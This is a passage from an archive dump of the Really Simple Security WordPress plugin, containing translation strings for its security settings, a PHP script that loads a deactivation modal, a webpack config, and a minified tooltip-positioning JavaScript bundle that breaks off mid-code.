#: settings/src/Settings/RiskConfiguration/VulnerabilitiesOverview.js:165
msgid "No vulnerabilities found"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/RiskConfiguration/RunnerData.js:21
msgid "Preparing vulnerability detection"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/RiskConfiguration/RunnerData.js:27
msgid "Collecting plugin, theme and core data"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/RiskConfiguration/RunnerData.js:33
msgid "Scanning your WordPress configuration"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/RiskConfiguration/RunnerData.js:39
msgid "Reporting enabled"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/DataTable/SearchBar/SearchBar.js:23
#: settings/src/Settings/DynamicDataTable/DynamicDataTable.js:118
#: settings/src/Settings/DynamicDataTable/SearchBar.js:21
#: settings/src/Settings/firewall/UserAgentTable.js:220
#: settings/src/Settings/GeoBlockList/BlockListDatatable.js:304
#: settings/src/Settings/GeoBlockList/GeoDatatable.js:443
#: settings/src/Settings/GeoBlockList/WhiteListDatatable.js:357
#: settings/src/Settings/RiskConfiguration/VulnerabilitiesOverview.js:151
#: settings/src/Settings/TwoFA/TwoFaDataTable.js:262
msgid "Search"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/RiskConfiguration/VulnerabilitiesOverview.js:137
msgid "Activate vulnerability detection to enable this block."
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/LimitLoginAttempts/IpAddressInput.js:40
msgid "Invalid ip address"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/GeoBlockList/TrustIpAddressModal.js:65
#: settings/src/Settings/LimitLoginAttempts/AddIpAddressModal.js:59
msgid "Add IP Address"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/firewall/UserAgentModal.js:158
#: settings/src/Settings/GeoBlockList/TrustIpAddressModal.js:146
#: settings/src/Settings/LimitLoginAttempts/AddIpAddressModal.js:116
#: settings/src/Settings/LimitLoginAttempts/AddUserModal.js:96
msgid "Add"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/GeoBlockList/BlockListDatatable.js:296
#: settings/src/Settings/GeoBlockList/WhiteListDatatable.js:348
#: settings/src/Settings/LimitLoginAttempts/IpAddressDatatable.js:246
msgid "Block IP Address"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/GeoBlockList/WhiteListDatatable.js:349
#: settings/src/Settings/LimitLoginAttempts/IpAddressDatatable.js:247
msgid "Trust IP Address"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/firewall/UserAgentTable.js:235
#: settings/src/Settings/GeoBlockList/BlockListDatatable.js:319
#: settings/src/Settings/GeoBlockList/GeoDatatable.js:458
#: settings/src/Settings/GeoBlockList/WhiteListDatatable.js:372
#: settings/src/Settings/LimitLoginAttempts/CountryDatatable.js:387
#: settings/src/Settings/LimitLoginAttempts/IpAddressDatatable.js:267
#: settings/src/Settings/LimitLoginAttempts/UserDatatable.js:243
msgid "You have selected %s rows"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/EventLog/EventLogDataTable.js:232
#: settings/src/Settings/LimitLoginAttempts/CountryDatatable.js:454
#: settings/src/Settings/LimitLoginAttempts/IpAddressDatatable.js:319
#: settings/src/Settings/LimitLoginAttempts/UserDatatable.js:281
msgid "Activate Limit login attempts to enable this block."
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/TwoFA/TwoFaRolesDropDown.js:72
msgid "You have enforced 2FA, but not configured any methods."
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/TwoFA/TwoFaRolesDropDown.js:79
msgid "You have enforced 2FA, but not configured any methods for the role: "
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/PostDropDown.js:60
msgid "Redirect to this post when someone tries to access /wp-admin or /wp-login.php. The default is a 404 page."
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/PostDropDown.js:65
msgid "Search for a post."
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/RiskConfiguration/NotificationTester.js:80
msgid "The notification test only works if you save the setting first."
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/RiskConfiguration/NotificationTester.js:77
msgid "You have not enabled the email notifications in the general settings."
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/RiskConfiguration/NotificationTester.js:38
msgid "All notifications are triggered successfully, please check your email to double-check if you can receive emails."
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/LimitLoginAttempts/AddUserModal.js:37
msgid "Add User"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/LimitLoginAttempts/UserDatatable.js:228
msgid "Block Username"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/LimitLoginAttempts/UserDatatable.js:229
msgid "Trust Username"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/LimitLoginAttempts/CountryDatatable.js:186
msgid "Selected regions are now allowed"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/LimitLoginAttempts/CountryDatatable.js:191
msgid "%s is now allowed"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/firewall/UserAgentTable.js:145
#: settings/src/Settings/GeoBlockList/GeoDatatable.js:288
#: settings/src/Settings/GeoBlockList/GeoDatatable.js:303
#: settings/src/Settings/GeoBlockList/GeoDatatable.js:465
#: settings/src/Settings/GeoBlockList/GeoDatatable.js:477
#: settings/src/Settings/LimitLoginAttempts/CountryDatatable.js:317
#: settings/src/Settings/LimitLoginAttempts/CountryDatatable.js:335
#: settings/src/Settings/LimitLoginAttempts/CountryDatatable.js:394
#: settings/src/Settings/LimitLoginAttempts/CountryDatatable.js:408
msgid "Block"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/firewall/UserAgentModal.js:122
#: settings/src/Settings/GeoBlockList/TrustIpAddressModal.js:107
msgid "Notes"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/DataTable/DataTableWrapper.js:168
#: settings/src/Settings/GeoBlockList/BlockListDatatable.js:362
#: settings/src/Settings/GeoBlockList/WhiteListDatatable.js:415
msgid "Here you can add IP addresses that should never be blocked by region restrictions."
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/TwoFA/TwoFaDataTable.js:272
msgid "You have selected %s users"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/TwoFA/TwoFaDataTable.js:320
msgid "Activate Two-Factor Authentication and one method to enable this block."
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/GeoBlockList/GeoDatatable.js:84
msgid "Block / Allow All"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/Captcha/Captcha.js:70
msgid "Reload Captcha"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/Captcha/Captcha.js:82
msgid "Validate CAPTCHA"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/DataTable/SelectedRowsControl/SelectedRowsControl.js:29
msgid "You have selected %d row"
msgid_plural "You have selected %d rows"
msgstr[0] ""
msgstr[1] ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/FileChangeDetection/FileChangeDetection.js:29
msgid "File changes have been been reset"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/FileChangeDetection/FileChangeDetection.js:40
msgid "Reset changed files"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/firewall/UserAgentModal.js:80
#: settings/src/Settings/firewall/UserAgentTable.js:211
msgid "Block User-Agent"
msgstr ""

#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/DynamicDataTable/DynamicDataTable.js:168
#: settings/src/Settings/RolesDropDown.js:94
#: settings/src/Settings/TwoFA/TwoFaEnabledDropDown.js:128
msgid "Activate Two-Factor Authentication to enable this block."
msgstr ""

#: settings/build/index.dc0e12538832ff741b9e.js:1
#: settings/src/Onboarding/OnboardingData.js:82
msgid "Updating email preferences.."
msgstr ""

#: settings/build/index.dc0e12538832ff741b9e.js:1
#: settings/src/Onboarding/OnboardingData.js:126
msgid "Installing %d..."
msgstr ""

#: settings/build/index.dc0e12538832ff741b9e.js:1
#: settings/src/Onboarding/OnboardingData.js:132
msgid "Activating %d..."
msgstr ""

#: settings/build/index.dc0e12538832ff741b9e.js:1
#: settings/src/Onboarding/OnboardingData.js:181
msgid "Re-checking SSL certificate, please wait..."
msgstr ""

#: settings/build/index.dc0e12538832ff741b9e.js:1
#: settings/src/Settings/FieldsData.js:181
msgid "Saving settings..."
msgstr ""

#: settings/build/index.dc0e12538832ff741b9e.js:1
#: settings/src/Settings/FieldsData.js:182
#: settings/src/Settings/FieldsData.js:204
#: settings/src/Settings/FieldsData.js:283
msgid "Settings saved"
msgstr ""

#: settings/build/index.dc0e12538832ff741b9e.js:1
#: settings/src/utils/Error.js:12
msgid "Please check if security settings on the server or a plugin is blocking the requests from Really Simple Security."
msgstr ""

#: settings/build/index.dc0e12538832ff741b9e.js:1
#: settings/src/utils/Error.js:20
msgid "The Really Simple Security Rest API is disabled."
msgstr ""

#: settings/build/index.dc0e12538832ff741b9e.js:1
#: settings/src/utils/Error.js:22
msgid "The Really Simple Security Rest API returned a not found."
msgstr ""

#: settings/build/index.dc0e12538832ff741b9e.js:1
#: settings/src/utils/Error.js:24
msgid "The Really Simple Security Rest API returned a 403 forbidden error."
msgstr ""

#: settings/build/index.dc0e12538832ff741b9e.js:1
#: settings/src/utils/Error.js:35
msgid "A problem was detected during the loading of the settings"
msgstr ""

#: settings/build/index.dc0e12538832ff741b9e.js:1
#: settings/src/utils/Error.js:41
msgid "The request returned the following errors:"
msgstr ""

#: settings/build/index.dc0e12538832ff741b9e.js:1
#: settings/src/utils/Error.js:43
msgid "Response code:"
msgstr ""

#: settings/build/index.dc0e12538832ff741b9e.js:1
#: settings/src/utils/Error.js:44
msgid "Status code:"
msgstr ""

#: settings/build/index.dc0e12538832ff741b9e.js:1
#: settings/src/utils/Error.js:45
msgid "Server response:"
msgstr ""

#: settings/build/index.dc0e12538832ff741b9e.js:1
#: settings/src/utils/Error.js:48
msgid "More information"
msgstr ""

#: settings/src/Settings/DynamicDataTable/DynamicDataTable.js:161
msgid "Loading data, please stand by..."
msgstr ""
really-simple-ssl/languages/index.php000064400000000042147510273070013712 0ustar00<?php //You don't belong here. ?>
really-simple-ssl/modal/webpack.config.js000064400000000413147510273070014440 0ustar00const defaultConfig = require("@wordpress/scripts/config/webpack.config");

module.exports = {
    ...defaultConfig,
    output: {
        ...defaultConfig.output,
        filename: '[name].[contenthash].js',
        chunkFilename: '[name].[contenthash].js',
    }
};really-simple-ssl/modal/modal.php000064400000003221147510273070013027 0ustar00<?php
if ( ! defined('ABSPATH')) {
    exit;
}

if ( ! function_exists('rsssl_plugin_plugin_page_scripts')) {
    function rsssl_plugin_plugin_page_scripts($hook)
    {
        if ( $hook !== 'plugins.php' ) {
            return;
        }

		$js_data = rsssl_get_chunk_translations( 'modal/build' );
		if (empty($js_data)) {
			return;
		}

	    wp_enqueue_style('wp-components');
        $handle = 'rsssl-modal';
        wp_enqueue_script(
	        $handle,
            plugins_url('build/' . $js_data['js_file'], __FILE__),
	        $js_data['dependencies'],
	        $js_data['version'],
            true
        );
        wp_set_script_translations($handle, 'really-simple-ssl');
	    $token = wp_create_nonce('rsssl_deactivate_plugin');
	    $deactivate_keep_ssl_link = rsssl_admin_url([ 'action' => 'uninstall_keep_ssl', 'token' => $token ]);

	    wp_localize_script(
	        $handle,
            'rsssl_modal',
            apply_filters('rsssl_localize_script', [
                'json_translations' => $js_data['json_translations'],
                'plugin_url' => rsssl_url,
                'deactivate_keep_https' => $deactivate_keep_ssl_link,
                'pro_plugin_active' => defined('rsssl_pro'),
            ])
        );

        function rsssl_add_modal_root_div()
        {
            // Check if we're on the plugins.php page
            $screen = get_current_screen();
            if ($screen && $screen->id === 'plugins') {
                echo '<div id="rsssl-modal-root"></div>';
            }
        }

        add_action('admin_footer', 'rsssl_add_modal_root_div');
    }
}
add_action('admin_enqueue_scripts', 'rsssl_plugin_plugin_page_scripts');really-simple-ssl/modal/build/161.a06823712424bb0f8054.js000064400000107460147510273070015561 0ustar00(globalThis.webpackChunkreally_simple_ssl_modal=globalThis.webpackChunkreally_simple_ssl_modal||[]).push([[161],{732:(e,t)=>{var o;!function(){"use strict";var n={}.hasOwnProperty;function r(){for(var e="",t=0;t<arguments.length;t++){var o=arguments[t];o&&(e=i(e,l(o)))}return e}function l(e){if("string"==typeof e||"number"==typeof e)return e;if("object"!=typeof e)return"";if(Array.isArray(e))return r.apply(null,e);if(e.toString!==Object.prototype.toString&&!e.toString.toString().includes("[native code]"))return e.toString();var t="";for(var o in e)n.call(e,o)&&e[o]&&(t=i(t,o));return t}function i(e,t){return t?e?e+" "+t:e+t:e}e.exports?(r.default=r,e.exports=r):void 0===(o=function(){return r}.apply(t,[]))||(e.exports=o)}()},161:(e,t,o)=>{"use strict";o.d(t,{m_:()=>Ae});var n=o(609);const r=Math.min,l=Math.max,i=Math.round,c=Math.floor,s=e=>({x:e,y:e}),a={left:"right",right:"left",bottom:"top",top:"bottom"},u={start:"end",end:"start"};function d(e,t,o){return l(e,r(t,o))}function f(e,t){return"function"==typeof e?e(t):e}function p(e){return e.split("-")[0]}function m(e){return e.split("-")[1]}function y(e){return"x"===e?"y":"x"}function h(e){return"y"===e?"height":"width"}function v(e){return["top","bottom"].includes(p(e))?"y":"x"}function g(e){return y(v(e))}function w(e){return e.replace(/start|end/g,(e=>u[e]))}function b(e){return e.replace(/left|right|bottom|top/g,(e=>a[e]))}function x(e){return"number"!=typeof e?function(e){return{top:0,right:0,bottom:0,left:0,...e}}(e):{top:e,right:e,bottom:e,left:e}}function _(e){const{x:t,y:o,width:n,height:r}=e;return{width:n,height:r,top:o,left:t,right:t+n,bottom:o+r,x:t,y:o}}function E(e,t,o){let{reference:n,floating:r}=e;const l=v(t),i=g(t),c=h(i),s=p(t),a="y"===l,u=n.x+n.width/2-r.width/2,d=n.y+n.height/2-r.height/2,f=n[c]/2-r[c]/2;let y;switch(s){case"top":y={x:u,y:n.y-r.height};break;case"bottom":y={x:u,y:n.y+n.height};break;case"right":y={x:n.x+n.width,y:d};break;case"left":y={x:n.x-r.width,y:d};break;default:y={x:n.x,y:n.y}}switch(m(t)){case"start":y[i]-=f*(o&&a?-1:1);break;case"end":y[i]+=f*(o&&a?-1:1)}return y}async function S(e,t){var o;void 0===t&&(t={});const{x:n,y:r,platform:l,rects:i,elements:c,strategy:s}=e,{boundary:a="clippingAncestors",rootBoundary:u="viewport",elementContext:d="floating",altBoundary:p=!1,padding:m=0}=f(t,e),y=x(m),h=c[p?"floating"===d?"reference":"floating":d],v=_(await l.getClippingRect({element:null==(o=await(null==l.isElement?void 0:l.isElement(h)))||o?h:h.contextElement||await(null==l.getDocumentElement?void 0:l.getDocumentElement(c.floating)),boundary:a,rootBoundary:u,strategy:s})),g="floating"===d?{x:n,y:r,width:i.floating.width,height:i.floating.height}:i.reference,w=await(null==l.getOffsetParent?void 0:l.getOffsetParent(c.floating)),b=await(null==l.isElement?void 0:l.isElement(w))&&await(null==l.getScale?void 0:l.getScale(w))||{x:1,y:1},E=_(l.convertOffsetParentRelativeRectToViewportRelativeRect?await l.convertOffsetParentRelativeRectToViewportRelativeRect({elements:c,rect:g,offsetParent:w,strategy:s}):g);return{top:(v.top-E.top+y.top)/b.y,bottom:(E.bottom-v.bottom+y.bottom)/b.y,left:(v.left-E.left+y.left)/b.x,right:(E.right-v.right+y.right)/b.x}}function A(e){return O(e)?(e.nodeName||"").toLowerCase():"#document"}function T(e){var t;return(null==e||null==(t=e.ownerDocument)?void 0:t.defaultView)||window}function R(e){var t;return null==(t=(O(e)?e.ownerDocument:e.document)||window.document)?void 0:t.documentElement}function O(e){return e instanceof Node||e instanceof T(e).Node}function k(e){return e instanceof Element||e instanceof T(e).Element}function L(e){return e instanceof HTMLElement||e instanceof T(e).HTMLElement}function C(e){return"undefined"!=typeof ShadowRoot&&(e instanceof ShadowRoot||e instanceof T(e).ShadowRoot)}function N(e){const{overflow:t,overflowX:o,overflowY:n,display:r}=j(e);return/auto|scroll|overlay|hidden|clip/.test(t+n+o)&&!["inline","contents"].includes(r)}function D(e){return["table","td","th"].includes(A(e))}function $(e){const t=B(),o=j(e);return"none"!==o.transform||"none"!==o.perspective||!!o.containerType&&"normal"!==o.containerType||!t&&!!o.backdropFilter&&"none"!==o.backdropFilter||!t&&!!o.filter&&"none"!==o.filter||["transform","perspective","filter"].some((e=>(o.willChange||"").includes(e)))||["paint","layout","strict","content"].some((e=>(o.contain||"").includes(e)))}function B(){return!("undefined"==typeof CSS||!CSS.supports)&&CSS.supports("-webkit-backdrop-filter","none")}function I(e){return["html","body","#document"].includes(A(e))}function j(e){return T(e).getComputedStyle(e)}function H(e){return k(e)?{scrollLeft:e.scrollLeft,scrollTop:e.scrollTop}:{scrollLeft:e.pageXOffset,scrollTop:e.pageYOffset}}function P(e){if("html"===A(e))return e;const t=e.assignedSlot||e.parentNode||C(e)&&e.host||R(e);return C(t)?t.host:t}function W(e){const t=P(e);return I(t)?e.ownerDocument?e.ownerDocument.body:e.body:L(t)&&N(t)?t:W(t)}function z(e,t,o){var n;void 0===t&&(t=[]),void 0===o&&(o=!0);const r=W(e),l=r===(null==(n=e.ownerDocument)?void 0:n.body),i=T(r);return l?t.concat(i,i.visualViewport||[],N(r)?r:[],i.frameElement&&o?z(i.frameElement):[]):t.concat(r,z(r,[],o))}function F(e){const t=j(e);let o=parseFloat(t.width)||0,n=parseFloat(t.height)||0;const r=L(e),l=r?e.offsetWidth:o,c=r?e.offsetHeight:n,s=i(o)!==l||i(n)!==c;return s&&(o=l,n=c),{width:o,height:n,$:s}}function M(e){return k(e)?e:e.contextElement}function V(e){const t=M(e);if(!L(t))return s(1);const o=t.getBoundingClientRect(),{width:n,height:r,$:l}=F(t);let c=(l?i(o.width):o.width)/n,a=(l?i(o.height):o.height)/r;return c&&Number.isFinite(c)||(c=1),a&&Number.isFinite(a)||(a=1),{x:c,y:a}}const q=s(0);function K(e){const t=T(e);return B()&&t.visualViewport?{x:t.visualViewport.offsetLeft,y:t.visualViewport.offsetTop}:q}function X(e,t,o,n){void 0===t&&(t=!1),void 0===o&&(o=!1);const r=e.getBoundingClientRect(),l=M(e);let i=s(1);t&&(n?k(n)&&(i=V(n)):i=V(e));const c=function(e,t,o){return void 0===t&&(t=!1),!(!o||t&&o!==T(e))&&t}(l,o,n)?K(l):s(0);let a=(r.left+c.x)/i.x,u=(r.top+c.y)/i.y,d=r.width/i.x,f=r.height/i.y;if(l){const e=T(l),t=n&&k(n)?T(n):n;let o=e,r=o.frameElement;for(;r&&n&&t!==o;){const e=V(r),t=r.getBoundingClientRect(),n=j(r),l=t.left+(r.clientLeft+parseFloat(n.paddingLeft))*e.x,i=t.top+(r.clientTop+parseFloat(n.paddingTop))*e.y;a*=e.x,u*=e.y,d*=e.x,f*=e.y,a+=l,u+=i,o=T(r),r=o.frameElement}}return _({width:d,height:f,x:a,y:u})}const Y=[":popover-open",":modal"];function Z(e){return Y.some((t=>{try{return e.matches(t)}catch(e){return!1}}))}function G(e){return X(R(e)).left+H(e).scrollLeft}function U(e,t,o){let n;if("viewport"===t)n=function(e,t){const o=T(e),n=R(e),r=o.visualViewport;let l=n.clientWidth,i=n.clientHeight,c=0,s=0;if(r){l=r.width,i=r.height;const e=B();(!e||e&&"fixed"===t)&&(c=r.offsetLeft,s=r.offsetTop)}return{width:l,height:i,x:c,y:s}}(e,o);else if("document"===t)n=function(e){const t=R(e),o=H(e),n=e.ownerDocument.body,r=l(t.scrollWidth,t.clientWidth,n.scrollWidth,n.clientWidth),i=l(t.scrollHeight,t.clientHeight,n.scrollHeight,n.clientHeight);let c=-o.scrollLeft+G(e);const s=-o.scrollTop;return"rtl"===j(n).direction&&(c+=l(t.clientWidth,n.clientWidth)-r),{width:r,height:i,x:c,y:s}}(R(e));else if(k(t))n=function(e,t){const o=X(e,!0,"fixed"===t),n=o.top+e.clientTop,r=o.left+e.clientLeft,l=L(e)?V(e):s(1);return{width:e.clientWidth*l.x,height:e.clientHeight*l.y,x:r*l.x,y:n*l.y}}(t,o);else{const o=K(e);n={...t,x:t.x-o.x,y:t.y-o.y}}return _(n)}function J(e,t){const o=P(e);return!(o===t||!k(o)||I(o))&&("fixed"===j(o).position||J(o,t))}function Q(e,t,o){const n=L(t),r=R(t),l="fixed"===o,i=X(e,!0,l,t);let c={scrollLeft:0,scrollTop:0};const a=s(0);if(n||!n&&!l)if(("body"!==A(t)||N(r))&&(c=H(t)),n){const e=X(t,!0,l,t);a.x=e.x+t.clientLeft,a.y=e.y+t.clientTop}else r&&(a.x=G(r));return{x:i.left+c.scrollLeft-a.x,y:i.top+c.scrollTop-a.y,width:i.width,height:i.height}}function ee(e,t){return L(e)&&"fixed"!==j(e).position?t?t(e):e.offsetParent:null}function te(e,t){const o=T(e);if(!L(e)||Z(e))return o;let n=ee(e,t);for(;n&&D(n)&&"static"===j(n).position;)n=ee(n,t);return n&&("html"===A(n)||"body"===A(n)&&"static"===j(n).position&&!$(n))?o:n||function(e){let t=P(e);for(;L(t)&&!I(t);){if($(t))return t;t=P(t)}return null}(e)||o}const oe={convertOffsetParentRelativeRectToViewportRelativeRect:function(e){let{elements:t,rect:o,offsetParent:n,strategy:r}=e;const l="fixed"===r,i=R(n),c=!!t&&Z(t.floating);if(n===i||c&&l)return o;let a={scrollLeft:0,scrollTop:0},u=s(1);const d=s(0),f=L(n);if((f||!f&&!l)&&(("body"!==A(n)||N(i))&&(a=H(n)),L(n))){const e=X(n);u=V(n),d.x=e.x+n.clientLeft,d.y=e.y+n.clientTop}return{width:o.width*u.x,height:o.height*u.y,x:o.x*u.x-a.scrollLeft*u.x+d.x,y:o.y*u.y-a.scrollTop*u.y+d.y}},getDocumentElement:R,getClippingRect:function(e){let{element:t,boundary:o,rootBoundary:n,strategy:i}=e;const c=[..."clippingAncestors"===o?function(e,t){const o=t.get(e);if(o)return o;let n=z(e,[],!1).filter((e=>k(e)&&"body"!==A(e))),r=null;const l="fixed"===j(e).position;let i=l?P(e):e;for(;k(i)&&!I(i);){const t=j(i),o=$(i);o||"fixed"!==t.position||(r=null),(l?!o&&!r:!o&&"static"===t.position&&r&&["absolute","fixed"].includes(r.position)||N(i)&&!o&&J(e,i))?n=n.filter((e=>e!==i)):r=t,i=P(i)}return t.set(e,n),n}(t,this._c):[].concat(o),n],s=c[0],a=c.reduce(((e,o)=>{const n=U(t,o,i);return e.top=l(n.top,e.top),e.right=r(n.right,e.right),e.bottom=r(n.bottom,e.bottom),e.left=l(n.left,e.left),e}),U(t,s,i));return{width:a.right-a.left,height:a.bottom-a.top,x:a.left,y:a.top}},getOffsetParent:te,getElementRects:async function(e){const t=this.getOffsetParent||te,o=this.getDimensions,n=await o(e.floating);return{reference:Q(e.reference,await t(e.floating),e.strategy),floating:{x:0,y:0,width:n.width,height:n.height}}},getClientRects:function(e){return Array.from(e.getClientRects())},getDimensions:function(e){const{width:t,height:o}=F(e);return{width:t,height:o}},getScale:V,isElement:k,isRTL:function(e){return"rtl"===j(e).direction}};const ne=function(e){return void 0===e&&(e=0),{name:"offset",options:e,async fn(t){var o,n;const{x:r,y:l,placement:i,middlewareData:c}=t,s=await async function(e,t){const{placement:o,platform:n,elements:r}=e,l=await(null==n.isRTL?void 0:n.isRTL(r.floating)),i=p(o),c=m(o),s="y"===v(o),a=["left","top"].includes(i)?-1:1,u=l&&s?-1:1,d=f(t,e);let{mainAxis:y,crossAxis:h,alignmentAxis:g}="number"==typeof d?{mainAxis:d,crossAxis:0,alignmentAxis:null}:{mainAxis:0,crossAxis:0,alignmentAxis:null,...d};return c&&"number"==typeof g&&(h="end"===c?-1*g:g),s?{x:h*u,y:y*a}:{x:y*a,y:h*u}}(t,e);return i===(null==(o=c.offset)?void 0:o.placement)&&null!=(n=c.arrow)&&n.alignmentOffset?{}:{x:r+s.x,y:l+s.y,data:{...s,placement:i}}}}},re=function(e){return void 0===e&&(e={}),{name:"shift",options:e,async fn(t){const{x:o,y:n,placement:r}=t,{mainAxis:l=!0,crossAxis:i=!1,limiter:c={fn:e=>{let{x:t,y:o}=e;return{x:t,y:o}}},...s}=f(e,t),a={x:o,y:n},u=await S(t,s),m=v(p(r)),h=y(m);let g=a[h],w=a[m];if(l){const e="y"===h?"bottom":"right";g=d(g+u["y"===h?"top":"left"],g,g-u[e])}if(i){const e="y"===m?"bottom":"right";w=d(w+u["y"===m?"top":"left"],w,w-u[e])}const b=c.fn({...t,[h]:g,[m]:w});return{...b,data:{x:b.x-o,y:b.y-n}}}}},le=function(e){return void 0===e&&(e={}),{name:"flip",options:e,async fn(t){var o,n;const{placement:r,middlewareData:l,rects:i,initialPlacement:c,platform:s,elements:a}=t,{mainAxis:u=!0,crossAxis:d=!0,fallbackPlacements:y,fallbackStrategy:v="bestFit",fallbackAxisSideDirection:x="none",flipAlignment:_=!0,...E}=f(e,t);if(null!=(o=l.arrow)&&o.alignmentOffset)return{};const A=p(r),T=p(c)===c,R=await(null==s.isRTL?void 0:s.isRTL(a.floating)),O=y||(T||!_?[b(c)]:function(e){const t=b(e);return[w(e),t,w(t)]}(c));y||"none"===x||O.push(...function(e,t,o,n){const r=m(e);let l=function(e,t,o){const n=["left","right"],r=["right","left"],l=["top","bottom"],i=["bottom","top"];switch(e){case"top":case"bottom":return o?t?r:n:t?n:r;case"left":case"right":return t?l:i;default:return[]}}(p(e),"start"===o,n);return r&&(l=l.map((e=>e+"-"+r)),t&&(l=l.concat(l.map(w)))),l}(c,_,x,R));const k=[c,...O],L=await S(t,E),C=[];let N=(null==(n=l.flip)?void 0:n.overflows)||[];if(u&&C.push(L[A]),d){const e=function(e,t,o){void 0===o&&(o=!1);const n=m(e),r=g(e),l=h(r);let i="x"===r?n===(o?"end":"start")?"right":"left":"start"===n?"bottom":"top";return t.reference[l]>t.floating[l]&&(i=b(i)),[i,b(i)]}(r,i,R);C.push(L[e[0]],L[e[1]])}if(N=[...N,{placement:r,overflows:C}],!C.every((e=>e<=0))){var D,$;const e=((null==(D=l.flip)?void 0:D.index)||0)+1,t=k[e];if(t)return{data:{index:e,overflows:N},reset:{placement:t}};let o=null==($=N.filter((e=>e.overflows[0]<=0)).sort(((e,t)=>e.overflows[1]-t.overflows[1]))[0])?void 0:$.placement;if(!o)switch(v){case"bestFit":{var B;const e=null==(B=N.map((e=>[e.placement,e.overflows.filter((e=>e>0)).reduce(((e,t)=>e+t),0)])).sort(((e,t)=>e[1]-t[1]))[0])?void 0:B[0];e&&(o=e);break}case"initialPlacement":o=c}if(r!==o)return{reset:{placement:o}}}return{}}}},ie=(e,t,o)=>{const n=new Map,r={platform:oe,...o},l={...r.platform,_c:n};return(async(e,t,o)=>{const{placement:n="bottom",strategy:r="absolute",middleware:l=[],platform:i}=o,c=l.filter(Boolean),s=await(null==i.isRTL?void 0:i.isRTL(t));let a=await i.getElementRects({reference:e,floating:t,strategy:r}),{x:u,y:d}=E(a,n,s),f=n,p={},m=0;for(let o=0;o<c.length;o++){const{name:l,fn:y}=c[o],{x:h,y:v,data:g,reset:w}=await y({x:u,y:d,initialPlacement:n,placement:f,strategy:r,middlewareData:p,rects:a,platform:i,elements:{reference:e,floating:t}});u=null!=h?h:u,d=null!=v?v:d,p={...p,[l]:{...p[l],...g}},w&&m<=50&&(m++,"object"==typeof w&&(w.placement&&(f=w.placement),w.rects&&(a=!0===w.rects?await i.getElementRects({reference:e,floating:t,strategy:r}):w.rects),({x:u,y:d}=E(a,f,s))),o=-1)}return{x:u,y:d,placement:f,strategy:r,middlewareData:p}})(e,t,{...r,platform:l})};var ce=o(732);const se={core:!1,base:!1};function ae({css:e,id:t="react-tooltip-base-styles",type:o="base",ref:n}){var r,l;if(!e||"undefined"==typeof document||se[o])return;if("core"===o&&"undefined"!=typeof process&&(null===(r=null===process||void 0===process?void 0:process.env)||void 0===r?void 0:r.REACT_TOOLTIP_DISABLE_CORE_STYLES))return;if("base"!==o&&"undefined"!=typeof process&&(null===(l=null===process||void 0===process?void 0:process.env)||void 0===l?void 0:l.REACT_TOOLTIP_DISABLE_BASE_STYLES))return;"core"===o&&(t="react-tooltip-core-styles"),n||(n={});const{insertAt:i}=n;if(document.getElementById(t))return void console.warn(`[react-tooltip] Element with id '${t}' already exists. Call \`removeStyle()\` first`);const c=document.head||document.getElementsByTagName("head")[0],s=document.createElement("style");s.id=t,s.type="text/css","top"===i&&c.firstChild?c.insertBefore(s,c.firstChild):c.appendChild(s),s.styleSheet?s.styleSheet.cssText=e:s.appendChild(document.createTextNode(e)),se[o]=!0}const 